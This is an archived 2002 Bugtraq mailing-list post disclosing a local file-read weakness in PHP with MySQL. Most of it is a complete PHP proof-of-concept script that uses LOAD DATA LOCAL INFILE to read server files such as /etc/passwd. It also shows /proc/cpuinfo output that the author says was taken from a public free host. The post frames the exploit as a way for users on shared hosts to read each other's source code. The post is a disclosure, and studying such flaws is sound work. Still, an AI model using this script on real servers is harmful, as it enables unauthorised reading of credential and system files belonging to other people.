File reading vulnerable in PHP and MySQL (Local Exploit)

From: Hai Nam Luke (hainamluke@hotmail.com)
Date: 11/26/02

  • Next message: Frog Man: "FreeNews & News Evolution (PHP)" 
    Date: 26 Nov 2002 10:57:52 -0000
From: Hai Nam Luke <hainamluke@hotmail.com>
To: bugtraq@securityfocus.com
    ('binary' encoding is not supported, stored as-is)

    Attacker can use PHP and mySQL to read some local file following this way:

    # Create a database (mySQL) and upload this file to your server
    PHP Code: viewfile.php (programmed by Luke)

    ======================================================
    <?
    // config this data
    $dbhost = "";
    $dbuser = "";
    $dbpasswd = "";
    $dbname = "";
    $file = "/etc/passwd"; // filename that you wanna view

    // shell code
            echo "<pre>";

                                    mysql_connect ($dbhost, $dbuser,
    $dbpasswd);
                                    $sql = array (
                                       "USE $dbname",

                                       'CREATE TEMPORARY TABLE ' . ($tbl
    = 'A'.time
    ()) . ' (a LONGBLOB)',

                                       "LOAD DATA LOCAL INFILE '$file' INTO
    TABLE
    $tbl FIELDS "
                                       . "TERMINATED BY
    '__THIS_NEVER_HAPPENS__' "
                                       . "ESCAPED BY '' "
                                       . "LINES TERMINATED BY
    '__THIS_NEVER_HAPPENS__'",

                                       "SELECT a FROM $tbl LIMIT 1"
                                    );

                                    foreach ($sql as $statement) {
                                       $query = mysql_query ($statement);

                                       if ($query == false) die (
                                          "FAILED: " . $statement . "\n" .
                                          "REASON: " . mysql_error () . "\n"
                                       );

                                       if (! $r = @mysql_fetch_array ($query,
    MYSQL_NUM)) continue;

                                       echo htmlspecialchars($r[0]);
                                       mysql_free_result ($query);
                                    }
        echo "</pre>";
    ?>

    ======================================================

    You'll recived all source of /etc/passwd

    This vulnerable is very dangerous because user can read some important
    file in your server. Especially, at any free host, user can use local
    exploit to read source code of other user and attack one another.

    Example: I uploaded this file and config it at http://members.lycos.co.uk/
    and I
    was recived their file: "/proc/cpuinfo" :

    ==============================================================
    processor : 0
    vendor_id : GenuineIntel
    cpu family : 6
    model : 8
    model name : Pentium III (Coppermine)
    stepping : 10
    cpu MHz : 997.531
    cache size : 256 KB
    fdiv_bug : no
    hlt_bug : no
    f00f_bug : no
    coma_bug : no
    fpu : yes
    fpu_exception : yes
    cpuid level : 2
    wp : yes
    flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca
    cmov pat pse36
    mmx fxsr sse
    bogomips : 1992.29

    processor : 1
    vendor_id : GenuineIntel
    cpu family : 6
    model : 8
    model name : Pentium III (Coppermine)
    stepping : 10
    cpu MHz : 997.531
    cache size : 256 KB
    fdiv_bug : no
    hlt_bug : no
    f00f_bug : no
    coma_bug : no
    fpu : yes
    fpu_exception : yes
    cpuid level : 2
    wp : yes
    flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca
    cmov pat pse36
    mmx fxsr sse
    bogomips : 1992.29
    ==============================================================

    And many another files, please check your server !
    Thank to dodo. Sorry for my poor English !

    Luke (HVA)
    http://www.hackervn.net

    Relevant Pages

    • [Full-Disclosure] [waraxe-2004-SA#031 - Multiple vulnerabilities in e107 version 0.615]
      ... mysql must be version 4.x with enabled UNION ... script - must be kept in secret, when possible, or it ... php error messages, ... Potential attacker can use xss to steal the cookies, ...
      (Full-Disclosure)
    • [waraxe-2004-SA#031 - Multiple vulnerabilities in e107 version 0.615]
      ... Affected software description: ... by PHP and mySQL that gives you a totally dynamic and professional website out of the box. ... Potential attacker can use xss to steal the cookies, to read cross-domain forms,etc. ...
      (Bugtraq)
    • Re: I am totally stumped..with this on..LOAD_FILE Mysql+PHP= FSCK!!
      ... What I am trying to do is to upload files and stuff them in a mysql database. ... I copied the temporary file to somewhere else, and then handed it to MySQL..THAT WORKED.. ... Is there a way to force a close on the file..maybe that's the problem Mysql is opening a file that is not flushed to disk maybe? ... I gew the feeling its maintaining its own picture of file objects, and doesn't actually flush to the disk unless you do a copy or close php.. ...
      (comp.lang.php)
    • [NT] MySQL UDF Multiple Vulnerabilities (Directory Traversal, DoS, Arbitrary Library Including, Buff
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... length validation allow attackers to execute arbitrary code using MySQL ... Improper directory separator checking, allow attacker to perform ... MySQL attempts to filter execution of arbitrary libraries by requiring any ...
      (Securiteam)
    • Re: I am totally stumped..with this on..LOAD_FILE Mysql+PHP= FSCK!!
      ... What I am trying to do is to upload files and stuff them in a mysql database. ... I copied the temporary file to somewhere else, and then handed it to MySQL..THAT WORKED.. ... Is there a way to force a close on the file..maybe that's the problem Mysql is opening a file that is not flushed to disk maybe? ... I gew the feeling its maintaining its own picture of file objects, and doesn't actually flush to the disk unless you do a copy or close php.. ...
      (comp.lang.php)